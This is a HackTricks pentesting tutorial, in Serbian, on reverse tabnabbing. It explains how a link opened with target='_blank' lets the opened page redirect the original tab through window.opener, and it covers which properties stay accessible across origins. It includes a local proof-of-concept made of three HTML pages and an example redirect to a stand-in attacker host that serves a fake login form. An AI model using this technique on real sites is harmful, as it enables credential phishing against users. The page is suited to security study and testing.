hacktricks/pentesting-web/reverse-tab-nabbing.md
2024-02-10 13:11:20 +00:00

6.5 KiB

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Opis

U situaciji kada napadač može kontrolisati argument href <a taga sa atributom target="_blank" rel="opener" koji će biti kliknut od strane žrtve, napadač može da usmeri ovaj link na veb stranicu pod njegovom kontrolom (zlonamerna veb stranica). Zatim, kada žrtva klikne na link i pristupi napadačevom veb sajtu, ovaj zlonamerni veb sajt će biti u mogućnosti da kontroliše originalnu stranicu putem JavaScript objekta window.opener.
Ako stranica nema rel="opener" ali sadrži target="_blank" i nema rel="noopener" takođe može biti ranjiva.

Uobičajeni način zloupotrebe ovog ponašanja bio bi da promeni lokaciju originalnog veba putem window.opener.location = https://attacker.com/victim.html na veb koji kontroliše napadač, a koji izgleda kao originalni, tako da može imitirati formu za prijavu originalnog veb sajta i tražiti od korisnika pristupne podatke.

Međutim, treba napomenuti da pošto napadač sada može da kontroliše prozor originalnog veb sajta on može da ga zloupotrebi na druge načine kako bi izveo skrivenije napade (možda modifikovanjem JavaScript događaja da bi izvršio izvlačenje informacija na server koji kontroliše on?).

Pregled

Sa povratnim linkom

Veza između roditeljske i dečje stranice kada se ne koristi atribut za prevenciju:

https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png

Bez povratnog linka

Veza između roditeljske i dečje stranice kada se koristi atribut za prevenciju:

https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png

Primeri

Kreirajte sledeće stranice u folderu i pokrenite veb server sa python3 -m http.server
Zatim, pristupite http://127.0.0.1:8000/vulnerable.html, kliknite na link i primetite kako se URL originalnog veb sajta menja.

{% code title="vulnerable.html" %}

<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>

{% code title="malicious.html" %}

<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>

{% code title="malicious_redir.html" %}

<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>

{% endcode %}

Pristupačna svojstva

U scenariju kada se dogodi prekogranični pristup (pristup preko različitih domena), svojstva instance JavaScript klase window, na koju se referiše JavaScript objektna referenca opener, koja može biti pristupljena od strane zlonamerne stranice, su ograničena na sledeće:

  • opener.closed: Ovo svojstvo se koristi da bi se utvrdilo da li je prozor zatvoren, vraćajući boolean vrednost.
  • opener.frames: Ovo svojstvo omogućava pristup svim iframe elementima unutar trenutnog prozora.
  • opener.length: Ovo svojstvo vraća broj iframe elemenata prisutnih u trenutnom prozoru.
  • opener.opener: Referenca na prozor koji je otvorio trenutni prozor može se dobiti putem ovog svojstva.
  • opener.parent: Ovo svojstvo vraća roditeljski prozor trenutnog prozora.
  • opener.self: Ovo svojstvo omogućava pristup samom trenutnom prozoru.
  • opener.top: Ovo svojstvo vraća najviši prozor pregledača.

Međutim, u slučajevima kada su domeni identični, zlonamerna stranica dobija pristup svim svojstvima izloženim od strane window JavaScript objektne reference.

Prevencija

Informacije o prevenciji su dokumentovane u HTML5 Cheat Sheet.

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: